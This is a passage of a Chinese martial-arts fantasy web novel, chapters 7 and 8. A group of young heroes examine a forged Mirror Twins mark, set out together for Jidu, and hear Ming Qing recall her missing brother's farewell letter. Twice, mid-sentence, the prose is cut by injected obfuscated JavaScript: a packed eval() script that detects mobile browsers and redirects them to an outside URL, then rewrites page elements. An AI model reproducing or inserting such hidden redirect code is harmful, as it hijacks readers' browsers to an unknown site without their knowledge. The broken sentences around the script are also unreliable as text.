明青知道云修泽尚且还有一个同伴,而她却是孤身一人,所以出手果决,只为求快速得手,不过没有想到的是,云修泽虽然不能破解,但却同样是一个轻功高手。 两人纠缠不休,短时间内根本分不出胜负,于是明青便提出了合作,她曾修过一门法诀,可以与人在短时间内共享五感。 云修泽不知是出于什么考量,很快便答应了她。 等明青将法术套在两人身上后,云修泽便运转周身灵力,和她一起去触碰双子的记号。 两人静静等了一会儿,可什么都没有听见,虽然镜双子从来没有留下记号却不留言的时候,但他们向来喜怒无常,很难因为没有留言就断定记号为假。 云修泽为他们难以揣摩的性格感到头疼不已。 明青却说这个记号大概率是真的,她曾机缘巧合之下见过另一个,与墙上这个相差无几,没有留言,也可能是已经被人捷足先登了。 这时,云修泽向她提出了另一个合作。 他将之前探查结界的事情告知了她,断言三天后会有人为此而来,他不知对方底细,也不清楚他们实力怎样,他虽然不想趟这趟浑水,但却不得不趟。 他自己的轻功了得,想逃跑没什么问题,可无奈的是还有一个逃命技能学的不怎么好的弟弟。 他愿打头阵,先去查探小屋内的东西,大概率会和那对兄妹有关系,如果拿到手,也愿意让她一观。 明青要做的,就是在强敌到来,而他们不敌时出手帮忙。 这个合作不可谓不划算,如果顺利的话,她甚至只用作壁上观,无须出力便可看到自己想要的东西。 明青没有不答应的理由,她点点头表示同意后,便身似鬼魅,几个闪身间,就翩然离去了,留下了刚刚张嘴想要说些什么的云修泽。 云修泽不知是被自己还是被她的行为气笑了,低头轻笑几声,无奈的摇了摇头后,就回身去等自己家那个迟钝的臭小子了。 等他将事情说完,几人才算是明白了为什么明青会突然出现在这里。 云修云默默盘算了一下自己那天赶去用的时间,对他们的交手速度和谈合作的果决感到咂舌。 “我想去双生子留下记号的地方看看。” 唐思月突然开口说道。 云修泽并不意外她这个要求,虽然只有短暂的接触,但他也大概知道了唐思月不是一个是被养在深闺中的娇小姐,与之相反,她冷静而又坚强。 “好,我们再去看看。” 云修泽看了明青一眼,示意让她同去。 明青点了点头,很快明白了云修泽的用意。 于是几人又移步到了之前那个正厅,唐思月心无旁骛的向记号走去,哪怕她的父亲很可能就死在这里,也没有被动摇。 她仔细端详着那个印记,末了又用手指蹭了蹭,放到鼻尖下轻嗅,还伸出舌尖轻轻一点尝了尝,露出了思索的神色。 云修泽轻轻眯了眯眼。 她擅医毒,医者试百草,毒者尝百味,如果是她,的确有可能分辨出这个记号的用料。 果然不出他所料,不一会儿她就说道。 “这个记号是假的,我们家有一本书曾经记录过,镜双子喜欢在记号的用料中加入一种不知名花朵的花汁,那种花极其罕见,有惑人心智的功效,会散发出一种非常淡的香味,这也是为什么镜双子能够在一个记号中留言的原因,留言一半是真的,还有一半便是人们被这种花蛊惑后产生的幻觉,这个记号中并没有这种花。” 云修泽双手抱剑倚在一根柱子上,整个人挺拔修长,十分有世家公子的做派,让人很难想象他刚刚经历了一场杀戮。 听到唐思月的话,他似乎并不意外。 “刚刚那帮人实力虽强,但也绝不可能将唐家那么多人一夜之间全部悄无声息地灭口,就算是他们,也没人会蠢到专门留一个记号去引导别人来跟他们抢东西,杀人和夺宝的是两拨人,只是不知道是出于什么目的了。” “最好是私仇。” 明青眼神不动,抛出了一句话。 云修泽弯着眼睛,赞同的点了点头。 “地图。” 明青冲云修泽伸出手,要求他履行之前的承诺。 她张口便是地图,便可以知晓她全程都在围观,却直到最后才出手,云修泽耸耸肩,不甚在意的将地图递给她。 明青将地图接过,展开仔细看了看,没有多问些什么,便又将地图卷好送了回来。 “你说的那种花可以迷惑人的心智,让人做他不想做的事情吗?” 明青突然向唐思月提问,唐思月愣了愣,回道。 “可以是可以,不过需要大量的花儿,而且只能短时间的控制,毕竟它的主要作用还是制造幻境。” 明青似乎有些失望,右手放在刻有深流名字的剑鞘上,冲他们微微颔首。 “此间事了,诸位保重,告辞。” 说罢,她就转身离去,几乎是眨眼间就消失了个彻底。 云修云正张着嘴想要说些什么,见此,迟疑着没有将嘴闭上,反而转口问道。 “这么突然吗?” 云修泽拍了拍他的肩,感叹道。 “知足吧,至少这次她还说了个告辞。” 旁边的唐思月被他们逗笑了,云修云看着她的笑容,知道她的心情不再那么沉重,也缓和了眉眼,无声的笑起来。 天色已经不再那么浓黑,四周安静的只有虫鸣的声音。 云修泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950933|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手伸了个懒腰,一只手放在脖子上左右歪了歪。 “咱们先回客栈吧,唐姑娘身体不好,咱们休整一天再回去。” 唐思月脸上总是带着礼貌地笑意,听了他的话,笑容也不禁真诚了几分。 “云大哥不必客气,我还未取字,两位叫我思月就好。” 云修云眼睛亮了亮,似乎很想立刻就喊上几声,被一旁的云修泽一个眼刀甩过去堵上了嘴,他冲唐思月笑道。 “既如此,你也不用和我们那么客气了。” 趁天还黑着,几人悄声回了客栈,互相道别后,就回了自己的房中。 次日,几人便如同来时一般,低调的离开了这里。 * 今日小雨。 绵绵的雨丝打在树叶上,落在屋檐顶,点在池塘中,和着风,送来了四月少有的寒意。 此时前厅中茶香四溢,茶面也有淡淡的热气升起。 云修泽听着细密的雨声,难得有些倦意,他捧着茶杯,盯着那慢腾腾升腾的白雾,眼睛也不眨地说。 “世叔,静山白虽好,也莫要贪杯啊。” 林家主斟茶的手一僵,若无其事的将杯子放回了桌案上。 “咳!你小子,惯会调侃人,竟还调侃道你世叔头上了。” 云修泽像一只狐狸一样眯眼笑了笑。 昨日他们归来天色已是不早,叔侄三人坐在房中将事情细细讲来,云修泽有心想问那几枚妖丹主人的来头,可无奈世上觊觎地图的人多如过江之鲫,林家主也不敢断言,只能建议他们如若真想知道,可冒险前往佘渊一试。 这与明青的说法不谋而合,云修泽沉下心来,将这件事往后排了排,佘渊边缘的白界已是必然之旅,那顺路去个佘渊也不是不行。 云修泽还想说什么,就被林家主赶下去休息,无论什么要紧事都要往后靠。 云修泽无奈,却也知道林家主是出于疼爱之心,不得不听从,可他心里搁着事情,今日一早,用过早膳后,便赶来堵他了。 叔侄两人静静的听了会儿雨,当林家主还沉浸在岁月静好的宁静氛围里时,云修泽一句话就让他将口中的茶喷了出来。 “世叔,其实父亲给我的任务不止如此,他给了我一份地图,还让我找齐其他四份来着。” 林家主急忙接过婢子递来的方巾擦了擦嘴,震惊道。 “你父亲疯了?不是把你们兄弟扔火坑里面去了吗?那个老东西到底想干嘛?不行!我得给他写信好好说道说道!” 他越说越生气,直接起身向外走去,云修泽连忙拦住了他,好说歹说将他劝回了座位上。 “世叔不必忧心,历练如果不难又如何起到作用呢?想必父亲自有他的考虑,我们兄弟虽然不是镜双子那种顶尖的高手,但保命肯定是没什么问题,这不是刚刚离家就得了一份嘛。” 林家主勉强平静了下来,他坐在那里捏着茶杯,恨铁不成钢地叹道。 “唉!子竹啊,你将这件事情想的太过简单了,你能那么快拿到一份地图,只能说是天时地利人和,运气好罢了!你不知道有多少人在盯着这件事情,想要完成你父亲给你的任务,难如登天啊!” 云修泽笑了笑。 “子竹知道,这不就来找您寻求帮助了吗?” 林家主见他难得学云修云的样子向长辈卖乖,不由有些心软。 “你且说说看。” 云修泽如果有狐狸尾巴,只怕此时就已经摇起来了。 “世叔,我父亲是个只管杀不管埋的,只将白界那个人尽皆知的线索告知了我们,世叔神通广大,不知可有其他的线索?” 林家主没什么好气的哼了一声。 “你小子到会找人,的确有,在计都,不过是人们口耳相传,不知真假罢了。剩下的你等我先派人去找找。” 云修泽没想到竟然还真的有,属于意外之喜了,听到林家主的话,反而摇了摇头。 “有消息已经够好的了,世叔万不可再派人查探,林家行商,处事圆滑,从来不招惹不该招惹的,切莫因我们去趟这趟混水,以免招来祸端。” 林家主看他神色郑重,知道他是认真的,于是点了点头,没再坚持。 云修泽绕道他身后,笑眯眯的替他揉肩。 林家主闭眼受着,哼哼笑道。 “说罢臭小子,还有什么事?” 这小子贼的很,肯定还有事儿要求他。 果不其然,云修泽将他伺候舒服了,就笑着同他商量。 “世叔也知道,白界大比是组队的形式,我们这孤零零的兄弟两个也不知去哪儿找可信的,不知可否跟您要个人?” “哼!我们林府竟然还有你这个大少爷能看上眼的,不容易啊,说吧,谁啊,不过分的话我就考虑考虑。” 林家主故意跟他拿架,却没想到这小子很有想法,他低头在林家主耳边一字一顿地说。 “唐、思、月。” 7. 孚望七 雨还下着,茶还温着。 云修泽却已经被关在了门外。 看着眼前紧闭的门,云修泽有些好笑的摇头,他拍了拍门,冲门内喊道。 “世叔啊,您要不听我说完呢?” 门内林家主怒气冲冲。 “滚!臭小子!我把恩人的女儿接过来是为了让她安心养病,保证她的安全的!这次你们去,她回来就带了伤,你竟然还想让她一个柔柔弱弱的小姑娘跟着你们去冒险!这不是要陷我于不义吗?” 云修泽叹了口气,也不再执着于进门。 “世叔,每个人都有每个人的缘法,您之前也跟我说过,她并不是手无缚鸡之力的人,这次我们去,也能感觉到她坚强的一面,想来她的父母亲人虽然没有死在镜双子手下,但凶手故意留下了双生子的记号,唐家还留着双生子的地图,多多少少,肯定是和双生子脱不了关系的。您将她养在这里,又焉知她不想追查真相呢?” 屋内没有声音,过了良久,门才慢慢被打开,林家主站在门口,神情参杂着无奈和落寞。 “世叔知道你说的不无道理,我走南闯北那么多年,早已没有了年轻时的冲劲,现下家中的生意你们大哥已经在逐步接手,我也准备着安享晚年了,想着若是她不嫌弃,就认个干女儿,总能保她生活无忧,却也未曾想过,她是否执着的想要一个真相。” 云修泽看着这个五十多岁,身体健壮就已经在准备安享晚年的人,只觉得有钱真好,他将手握拳放在嘴边掩饰笑容。 “咳,那子竹就当您同意了,我这就去问问思月的意见。” 林家主瞥了他一眼,没好气的说。 “我要是不同意,你小子就还有八百套说辞等着我呢,还不如少受些折磨。” 云修泽也不反驳他,心情很是不错的样子,冲他行了个礼就喜滋滋地离开了。 雨不知什么时候停了,周围还带着湿润的气味。 等云修泽找到唐思月这里时,就瞧见她正坐在院中不紧不慢地烹茶,而云修云则与行愿在空旷的地方切磋。 一开始云修云还想着在有好感的姑娘面前好好表现,用的都是些十分漂亮的招式,搁在面容俊朗,意气风发的少年郎身上十分的赏心悦目,只不过几个回合下来,他就没有了这个花孔雀的心思。 行愿毕竟比他有经验的多,一招一式虽然简单,但是招招干脆利落,角度刁钻,云修云比着比着也不得不拿出了十分的认真,两人你来我往,专注的旁若无人。 云修泽来到唐思月身边坐下,唐思月为他斟了一杯茶,被云修泽婉拒,他看着院中的两人,明明是在提问,语气却十分肯定。 “行愿大哥在给他喂招。” 唐思月不意外他能看出来,没有说话,轻笑着点了点头。 云修泽支着头,陪她看了一会儿,突然开口问道。 “行愿的身法很像是专门学过正统的招式,但是又糅杂了很多野路子,十分难对付,而且他总是容易让人忽略他的存在,这是为什么呢?” 唐思月温和地解释道。 “行愿早年的经历十分坎坷,他曾流落在外,为了活下去被迫争抢,之后找到父母后,又被送去做了暗卫,所以他总是会不自觉地拉低自己的存在感,毕竟暗卫就是这个样子。” 云修泽点点头,又问道。 “那他为什么总是戴着面具呢?” 这个问题唐思月回答不了,摇了摇头,道。 “许是他自己的心结吧,也许有一天,他愿意自己摘下这个面具,放下心上的包袱。” 云修泽看着她,嘴角微微勾起。 “思月。” “嗯?” 唐思月轻轻抬眼看他。 “想跟我们一起去找镜双子的踪迹吗?” 唐思月不是蠢人,听到他的话,眼神明显动了动,她迟疑地说。 “可是我身体不好,现在还有伤,总怕会拖你们后腿。” 她明显想去的样子让云修泽勾起了嘴角。 “世叔已经将寻回的灵草一类命人带下去制药了,都是对症的,虽不能叫你如同常人一般习武,但至少能让你摆脱风中摇曳的美人灯的身体,至于你的伤,我既然邀请你,就不会弃你的身体于不顾,自然要等你养好身体再上路。” 唐思月神情添了几分雀跃,如果没有后顾之忧,她愿竭力一试! “嗯!那我跟你们一起上路。” 看她决定的如此之快,云修泽反倒有些担忧,语重心长地说。 “你要知道,这并非儿戏,前路必定荆棘满布,你要慎重考虑。” 唐思月眼中没有阴霾,十分豁达道。 “我不怕!世路多有不平,没有一条是不需要付出代价的,想要什么,总要付出别的用来交换不是吗?” 云修泽感慨地点点头,抬头看见云修云和行愿不知道是什么时候已经停下了切磋,来到了两人身边。 听到两人一起上路的决定,云修云眼睛亮亮的,后来回去的时候,云修云还和他说已经准备好了每月给她送信了,没想到竟然能一起上路。 而行愿总是那个样子,八风不动的守着唐思月,似乎唐思月决定去哪里他都不会有意见,竟是全凭她做主。 日头已经临近中午,几人刚刚决定一起上路,正是有心好好亲近的时候,便吩咐下去,叫人在这里摆了一桌,四人一同用饭,不过行愿不愿摘下面具,便只是在这里陪着他们叙话,虽然也说不了几句。 后来大云小云就安心住下了,陪着唐思月养身体的同时,也没有懈怠自身,整日拉着行愿切磋,行愿自认有职责在身,不愿离开唐思月,两人便到唐思月这里找他,总能磨他同意。 唐思月也每天喝着药,眼见着身体是有所好转。 看着美人气色越来越好,云修云有时总是乐的不知天南地北,经常出门去买一些新奇的小玩意来哄她展颜,林家主看在眼里,便总是沉浸在‘儿子长大了会拱白菜了’与‘养的白菜要被拱了’的矛盾心理中,后来干脆不听不问,眼不见为净。 几人住了小半个月,总算将身体养得差不多了,按照计划,准备启程前往计都。 林家主为他们准备了比上次更加宽敞平稳舒适的马车,还为他们备了一些金银细软用作盘缠,常年出门在外,竟然连外宿的帐篷都给他们准备了几顶。 云修云抱着他被感动的一个劲的说‘我爱您’,林家主受不了他,却推也推不开,只能任他抱着摇晃,云修泽想起那碎银二十两,也忍不住和他感叹。 “您才是亲爹吧!” 林家主一脸嫌弃将他们轰到一边,叫过唐思月到一边去低声叮嘱着什么,只见唐思月温顺的应承着,还不时点点头。行愿在不远处看着她,像是看到什么新奇的东西一样,眼神有些奇怪。 那边唐思月郑重地给林家主行了一个晚辈礼,算作拜别,林家主将她扶起,转身擦了擦眼角,挥手示意让他们赶紧离开。 兄弟二人恭敬的向他道别后,便牵过马,跟着马车车轮滚动的声音,在这个万里无云的日子里,安静的上路了。 * 森林广袤,日色渐沉。 四人走了一段日子,已经十分熟练。 眼见着是没办法在天黑前赶到下一处城镇,四人便寻了个开阔的地方扎营,准备在此休息一晚。 唐思月给了三人一颗防毒的药丸后,便在附近撒了一圈毒药,用来驱赶虫兽,也用来防备陌生人。 见到云修泽去了不远处盘腿打坐,陷入了冥思,云修云便自告奋勇,出去猎了几只野兔回来,还摘了不少野果,见此,唐思月就拿了一些锅碗出来。 云修云有些惊喜地问。 “你会做饭吗?” 唐思月好笑地看了他一眼,将一应用具递给了行愿,说道。 “我不会做饭,但是行愿会做。” 只见行愿默不作声的接过来,动作利索的将野兔拨皮去骨,清洗内脏,架火烹制了起来。 一套连贯的动作将云修云这个小少爷看的钦佩不已,直接化身小尾巴,跟着他到处跑,学习观摩。 不知什么时候起,云修泽身边聚满了一堆毛茸茸的小动物,丝毫不怕他的样子,一部分在他身上撒欢,还有一部分也围在他的周围,甚至头上还顶了一只松鼠。 唐思月有些好奇,云修云就为她解释。 “我哥就是这样,体质特殊,动物们总爱亲近他,在野外,不到半个时辰就会这样聚过来。” 他抬了抬下巴,示意她看树旁悠闲吃草的马儿,有些郁闷。 “就连踏风和追云这两匹马,哪怕平时是我对它们更好,他们也更愿意亲近大哥,刚才 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云修泽顺着她的目光看向自己腿上的小猫,不太确定的将小猫抱给她,明青捏捏手,小心翼翼地接了过去。 那小猫一到她身上就显得有些不安,可能是碍着云修泽的面子,硬是在她怀中待了一会儿才挣扎着跳下去跑没了影。 那厢明青还在目送那只小猫的背影,云修泽在这边就有些疑惑地开口道。 “这是怎么了?” 一般来说不会出现这种情况啊。 明青却并不意外。 “从小我的家人为了我不被毒害,会专门给我喂毒,现在我虽不怕毒,可身体里全是毒血,所以它们不敢靠近我,这只都算是例外了。” 云修泽看她的眼神都有些怜悯了,无言拍了拍她的肩,看她这样子,肯定是很喜欢这些小东西,但根本无法靠近,怎一个苦字了得啊。 “虽然我很欢迎美人相随,但你跟着我们干嘛?” 明青瞥了他一眼。 “没跟着,路过。” 云修泽无视她的眼刀。 “路过?你要去哪?” 明青没有瞒着他,干脆道。 “佘渊。” 云修泽有点纳闷。 “佘渊?那你走这条路干嘛?这又不是去佘渊的路。” 明青抿抿嘴,眼神瞟向一边没有说话。 云修泽见此,挑了挑眉,有些讨嫌的弯腰去追她的眼睛,无论她身体怎么转,都锲而不舍地要跟她对视。 明青躲不开他,干脆放弃挣扎,面无表情的和他对视。 那边云修云三人排排坐,眨着眼睛看两人一个面上带笑,一个面无表情的沉默对视。 明青静静的盯着他,盯着盯着就走了神,时间变得缓慢,而她尚且不知这究竟意味着什么。 云修泽生的虽然不是一眼惊艳的好看,但胜在身形英拔,眉眼如墨。 从第一次见面起,他就总是带着明青不理解的笑,还总能笑出不同的花样,眼睛也配合着。 但有时他虽笑着,眼睛似乎很深情的看着你,可眼底透露的清醒又叫人无端发冷。 明青眼神动了动,对视间突然有点好奇,去探究他此刻眼底的冷暖。 云修泽专注的看着她,似乎并不觉得两人不过三面之交,本应警惕陌生着,反而神色柔和的像是看着一个相识多年,可以信任的好友一般,只有轻微的调侃,还带了一些她看不懂的东西。 似乎有谁说过,只有当你认真的去看着某个人,才能看清他眼中的自己,只有当你和某个人长久的相视,才能从心跳声中分辨出新生的曲折。 明青的思绪被自己扯远了一瞬,还没想明白究竟是什么意思,却在看到云修泽眼眶微颤,面色有了一层浅浅的飘红之后,骤然从停滞的时间里听见了自己喧闹的心跳。 不是吧?竟然是真的? 她怀疑云修泽是不是也听见了,匆忙挪开视线,云修泽也没再追上来,反而沉默的扭过头去。 其他三人的眼神在他们之间来回挪动。 过了一会儿,两人又若无其事的开始说话。 “所以你到底为什么在这?” “......” “迷路了。” 8. 孚望八 迷路...... 三脸懵逼,还有一个看不见脸。 说实在的,一个身负灵力,武功高强的人,让人很难将迷路这个词联系在她身上,可偏偏说这个话的人是明青,而且还是在云修泽的追问下才无奈坦言的,让人很难不去相信这件事的真实性。 “哇——”这是云修泽。 “啊?”这是云修云。 “哦~”这是唐思月。 “......”这是行愿。 明青冲几人危险地眯起了眼睛,大有一旦他们再说些什么就要拔剑跟他们干一架的架势。 于是四人看天的看天,看地的看地,看锅的看锅,看人的...还在看人。 云修泽面对她丝毫不怂,甚至跃跃欲试的想再干点什么,直到深流出鞘了几寸,才老实下去。 “咳!那什么,吃了吗?一起吃点儿?” 云修云也热情的冲她笑起来,像是有小狗尾巴在背后摇一样,示意非常欢迎。 明青本想像之前一样,速战速决的告辞,却无奈云修泽早有预料,一把将她拦了下来,肚子也同时向她发起了反抗。 于是黑着脸的明青就只能在云修泽满脸像是偷了腥的猫一样的笑容下,被拉进了他们的毒圈子。 唐思月捏着解毒丹药,看她迈进来也毫无异样才反手收了回去,放下了一部分心的同时,又开始自言自语,拿树枝嘀嘀咕咕的在地上画着什么,似乎想要研制一些对这种特殊体质也有用的毒药。 云修泽拉她坐下便没再管她,反而开始和旁边的云修云斗嘴,有时去问唐思月的话,也只挑些无关紧要的。 行愿似乎很放松,坐在那里弓着背,有一搭没一搭的控制着火候,防止晚饭泡汤。 在这种温馨但是不吵闹的和谐氛围下,明青也渐渐卸下了防备,靠着树安静的享受着晚风的吹拂,直到晚饭的香味飘来,才震了震精神,坐直了身体,接过了云修泽递来的碗筷。 几人聚在一起,除了云修云都不是聒噪的人,可偏偏云修云吃饭最是专注,有时饿的狠了,一顿饭下来也顾不上插一句嘴,所以这顿饭用的很是安静,只有偶尔几句交谈。 等众人都吃得差不多了,云修云突然开口问向明青。 “你去佘渊是想查双生子的线索吗?” 明青嚼东西的动作停了一下,觉得也没有瞒着他的必要,看他一眼还是决定先嚼完再说,云修泽也没催她,十分耐心地等着,等她嘴里没有东西了才终于开了金口。 “嗯。” 很好,惜字如金。 云修泽轻轻挑起一边的眉毛,歪头笑着看她。 “你竟然也对秘宝感兴趣?” 明青并不理会他的试探。 “那你呢?父命难违?” 云修泽也没指望马上就能听到回答,没什么所谓的说。 “可不是嘛,纯锻炼我能力来着,没想抢秘宝。” 那边的云修云瞪着双眼有话要说,但十分乖觉,也知道现在不是时候,没有开口添乱。 “我可都如实告诉你了,你呢?难道要辜负我的坦诚吗?” 云修泽坐在倒下的树身上换了个姿势,一条腿蜷着,一条腿自然的伸长,用手托着脸,上身微微前倾。 身子修长的人做这种动作很是好看,有种说不出来的慵懒潇洒,更别提这个人还长着一张不错的脸,一副眼中只有你的样子看着你。 明青有种他在使美男计的错觉,于是垂下眼不去看他。 “我找失踪的哥哥,他曾留下一封信,信中提到了镜双子。” 这个理由让几人有些意外,连行愿也动了动眼睛去认真看她。 诧异过后,云修泽又有些感兴趣,这是他们遇到的第一个可能和镜双子产生关联的人,但他按捺了自己的性子,只是饶有兴趣地问。 “镜双子名声在外,你哥哥确定不是单纯仰慕他们吗?” 明青摇了摇头,云修泽便知道恐怕他哥哥和镜双子有些纠葛,至少应该是见过面的,他看明青的眼神添了几分认真。 “那封信你可带在身上了?” 明青知道他想干什么,摇了摇头。 “没有,有也不给你看,看你也看不懂。” 云修泽哂然一笑,做小伏低的哄她。 “那不知明姑娘可愿为我们简单说上一两句?日后我们若碰上了,也好帮上你的忙或者知会你一声。” 他从第一面开始就是直呼其名,倒第一次叫她明姑娘。 明青有些新奇,那封信并不是什么秘密,况且他说得也不无道理,他们实力不弱,手中也有地图,是有走到最后的希望的,于是她低下头,开始慢慢的回忆。 那年,她学成归家,父亲母亲总是又高兴又有些忧虑,等她无意中听到他们谈话,才知道原来哥哥曾经在消失前还留下了一封信。 在她幼时模糊的记忆中,哥哥是一个沉默但温和的人,他总将自己关在院子中,也不许人去服侍,诺大的地方,只有一棵老树静静的陪着他,他不见人,连父亲母亲都不愿相见,只有她,只有她这个尚且年幼,记不清事的小妹妹可以随意进出。 她记得有一次新年,父母带她上街,各种花灯吃食让她挑花了眼,她拿了最喜欢的一盏兔子灯去找哥哥,她绷着小脸,内心紧张的推开门,不知哥哥会不会喜欢。 院中没有点灯,黑漆漆的,倒是月光十分清亮,哥哥又坐在树下的石桌上,呆呆地的看着漫天的星月。 孤寂萦绕着他,她不喜欢,于是脚步哒哒的向他跑去,他像是被这声音惊醒一样,动了动身子,停了一会才转头看她。 她将兔子灯递上去,他就笑着揉了揉他的发顶,接过兔子灯放在石桌上,把她轻轻抱了起来。 她坐在他的怀中,和他一起静静看了一会兔子灯中一种发亮的细碎萤石慢慢的上下飘动。 哥哥用下巴轻轻摩挲她的头顶,于是她抬头看他,惯常的面无表情放在小包子脸上应该十分可爱,哥哥忍不住捏捏她的脸,轻笑出声。 “青青,今天玩的开心吗?” 青青眼睛亮亮的点了点头。 “嗯!外面可好看了!人也很多,漂亮姐姐也多,和我一样的小孩子也多,灯也多,好吃的也多,如果哥哥能陪着,青青会更开心!” 她很乐意和他说这些,虽然还不太会描述自己看到的,但总是努力的用自己眼中好的东西去吸引哥哥走出院子。 她虽然年纪小,但天然的敏锐,总觉得哥哥是明白她的,可哥哥一次都没有回应过她,这次也一样。 听到她用简单的言语描述外面繁华和平的景象,他露出了像是有些欣慰,又像是有些失望的神情。 虽然手还在有一下没一下的抚摸着她的头发,可心思却已经不在这里了。他的眼神失焦,嘴里轻轻呢喃着什么。 她认真去听,却也只听到了零星碎语,直到现在她仍然记得那句话。 “我该去找自己了......” 当时的她并不理解那句话,却也将它记在了心中。 她扯扯他的袖子,他回过神来,眼中有了些光彩,不知怎么想的,竟然开始向一个三四岁的小孩子提问。 “青青,你觉得什么样的路算对的呢?” 她并不理解,但不妨碍她回答。 “我喜欢的路就是对的呀。” 夏天,她最喜欢府中那个栽满了鸢藤花的蜿蜒小路。 冬天,她最喜欢结冰的湖边落满了白雪的宽阔平路。 所以,对她来说,只要是喜欢的,就是对的路。 他像是被她的话逗笑了一般,低低的笑起来,引的胸腔也在跟他共振,她靠在他怀中,被震的有些发痒,但她从来没有看到过哥哥这样笑,于是忍着没有说,希望他再震一会儿,也许明天就能和她一起出门了呢? 可她没有想到的是,自那晚过后,他就真的离开了那个院子,不过也离开了家。 她再没有见过他。 虽然没有人跟她说些什么,但她知道,就是哥哥自己离开的,她不明白,但是听人说,出门在外的人,想念家的时候,通常会给家中寄信。 于是她等啊等,等到离家学武,等到学成归来,也没有等到一封信。 可现在却意外让她知道了,原来哥哥当年离开时,竟然还留下了一封信。 她想知道哥哥究竟说了什么,于是等父母睡着,便偷偷的将府中翻了个底朝天,最后还是在父母房间床头的柜子上才找到了被压在一堆房契最下面的那封信。 她悄悄带回自己房中,有些忐忑的打开了它。 父亲,母亲。 展信佳, 请原谅孩儿的任性,这些年来,你们也许觉得我固步自封,不愿面对现实,可我本就不是在这种利益纠葛,感情有真亦能假的环境下成长的,我见过艰难求生的人,见过人们的真情,见过人们的互相扶持,所以那件事,我总觉得是有更好的办法解决的。 我在他身边的时间不长,可我能看到他身上强大又善良的一面,所以他在你们的计划还没有实施的时候,就已经先一步做了他认为最好的决定。 我不怪任何人,他走的每一步都是在为他人着想,以他的聪慧,不会找不到对他更有利的方法,可他的仁善让他选择了截然不同的方向,我尊敬他,也尊重他。 我只是无法面对你们,那天我无意中听到的话,让我前半生的执着显得像是一个笑话,你们和族中长老并着其他世家彻夜长谈,每日你们房中的烛火总是亮到天明,我以为你们是在殚精竭虑的思考万全之法,却没想到能从父亲的口中听到那样冰冷的话。 我那时尚且年轻气盛,气愤的质问着父亲,父亲将我拉到房中,仔仔细细的跟我分析着其中的得失。 可是父亲,你和他之间的感情,我和他之间的而感情,母亲和他之间的感情,难道不用算在其中吗?那些谈笑的时光,难道都是假的吗? 只谈得失,只谈大局,对于一个有情感的人来说,难道一点错都没有吗? 没有多久,就传来了他的事情,他干脆利落的行动,让所有人都不必因他为难。 我在连番的打击之下,将自己困在了院中。 这么多年,其实我也明白,父亲的做法是对的,在那种情况下,如果他不下决断,就必须要有人替他下决断。 我只是无法迈过自己心里的那道坎,在这里,也许我永远也迈不过去,我想了很久。 : : : “我想起了他们,他们曾在这里,看着这一切的发生,我相信,以镜双子的肆意妄为,肯定想过不顾规矩插手其中,他肯定阻止他们了,不然最后不会是这个样子。 我想去找他们,他们身上的自由、坚定令我向往,也许,我能在他们那里找到丢失的自己。” 明青将信中关于镜双子的话缓缓背了出来,她陷入了回忆中,有些失神的想起了信中最后一句话。 ‘孩儿不孝,望父亲母亲保重身体,也希望青青快乐长大。 不孝子恩垚敬上’ 云修云皱着眉,搞不懂这语焉不详的话,唐思月有些新奇的听着,而行愿早就闭上了眼,靠在那里也不知是不是睡着了。 明青明显还有些入神,云修泽等她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950935|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己回过神来,才语气轻缓地问起。 “你知道具体是什么事情吗?信中的‘他’是谁?” 明青摇头。 “如果知道,我就不会去找那么麻烦的双生子了。” 云修泽了然的点头,又问道。 “那你现在找到什么线索了吗?或者什么方向?” 明青不语,没什么精神的看着他。 云修泽明白了,线索就是他们一起看过的地图,方向就是佘渊。 他不由得感到有些窃喜,轻咳两声,眼睛也不看她,状似无意的说道。 “那要不跟我们一起走?最近听说计都有关于地图的传言,我们实力不弱,跟着我...们不吃亏。” “计都?” 她皱了皱眉。 “消息可靠吗?” “消息来源是可靠的,计都的确有传言,不过传言的真假就不知道了。” 她的表情没有变,沉思了一会,回答道。 “好,我跟你们一起走。” 她说完抬头,原本还坐着的云修泽就已经不见了,再一扭头,就看见他的背影,竟是动作迅速的要去给她安排帐篷。 不知是不是她的错觉,他整个人透露出一种轻松的、乐呵呵的氛围,像是下一秒就能哼出个曲儿来的样子。 她摇了摇头,将这奇怪的想象从脑海中赶了出去。 云修云的尾巴已经彻底摇欢了,他看出了云修泽对她的不同,十分欢迎她的到来。 “明青姐!欢迎欢迎!上次也没来得及互通姓名,我是他弟弟,我叫云修云,这是唐思月,这是她的护卫,行愿大哥。以后就是咱们五个人一起走了!” 明青冲他们几个都点了点头。 行愿冲她微微颔首算作打招呼,唐思月则走到她身边和她轻声交谈起来,也许是女孩子之间总是有话说,两个都算不上话多的漂亮姑娘没一会儿就聊作了一团。 等云修泽回来见她们这个样子,也是十分乐见其成,随她们去了。 在野外休息,除了唐思月,其他几人总是轮流守夜。 今日人都睡沉了,云修泽一个人在篝火旁打坐,突然云修云从帐篷里钻了出来,做贼似地摸到他身边,云修泽眼睛也不睁的问他三更半夜的有何贵干。 云修云将手伸到火堆旁暖着,悄声问他。 “你为什么骗她?” 云修泽睁开了眼,吐气放弃了打坐。 “我骗她什么了?” 云修云左右看了看,问道。 “咱们不就是冲着秘宝去的吗?” 云修泽像看傻子一样用无语的眼神看他。 “咱们什么时候要去拿秘宝了?” 